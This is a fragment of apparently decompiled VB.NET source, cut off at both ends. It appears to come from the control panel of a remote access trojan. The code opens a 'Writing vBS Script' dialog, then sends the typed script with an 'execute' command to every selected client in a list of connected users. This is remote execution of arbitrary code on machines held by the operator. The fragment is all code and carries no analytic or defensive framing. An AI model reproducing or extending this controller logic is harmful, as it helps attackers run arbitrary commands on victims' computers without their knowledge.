r

Try
            If (Me.Lv1.SelectedItems.Count <> 0) Then
                Dim form As New Form
                Dim box2 As New TextBox
                box2.Dock = DockStyle.Fill
                box2.ScrollBars = ScrollBars.Both
                box2.Multiline = True
                box2.Name = "T"
                Dim box As TextBox = box2
                Dim button3 As New Button
                button3.Text = "Execute"
                button3.Dock = DockStyle.Bottom
                Dim button As Button = button3
                button3 = New Button
                button3.Text = "Cancel"
                button3.Dock = DockStyle.Bottom
                Dim button2 As Button = button3
                form.Controls.AddRange(New Control() {box, button, button2})
                form.Tag = ""
                form.Icon = Me.Icon
                AddHandler button.Click, New EventHandler(AddressOf gug)
                AddHandler button2.Click, New EventHandler(AddressOf hug)
                form.Text = "Writing vBS Script"
                form.ShowDialog(Me)
                If Operators.ConditionalCompareObjectNotEqual(form.Tag, "", False) Then
                    Dim enumerator As IEnumerator
                    Try
                        enumerator = Me.Lv1.SelectedItems.GetEnumerator
                        Do While enumerator.MoveNext
                            Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
                            Dim s As String = Conversions.ToString(Me.httpconvert(Conversions.ToString(Operators.ConcatenateObject(("execute" & Me.Y), form.Tag))))
                            user.Send(s)
                        Loop
                    Finally
                    End Try
                End If
            End If
        Catch : End Try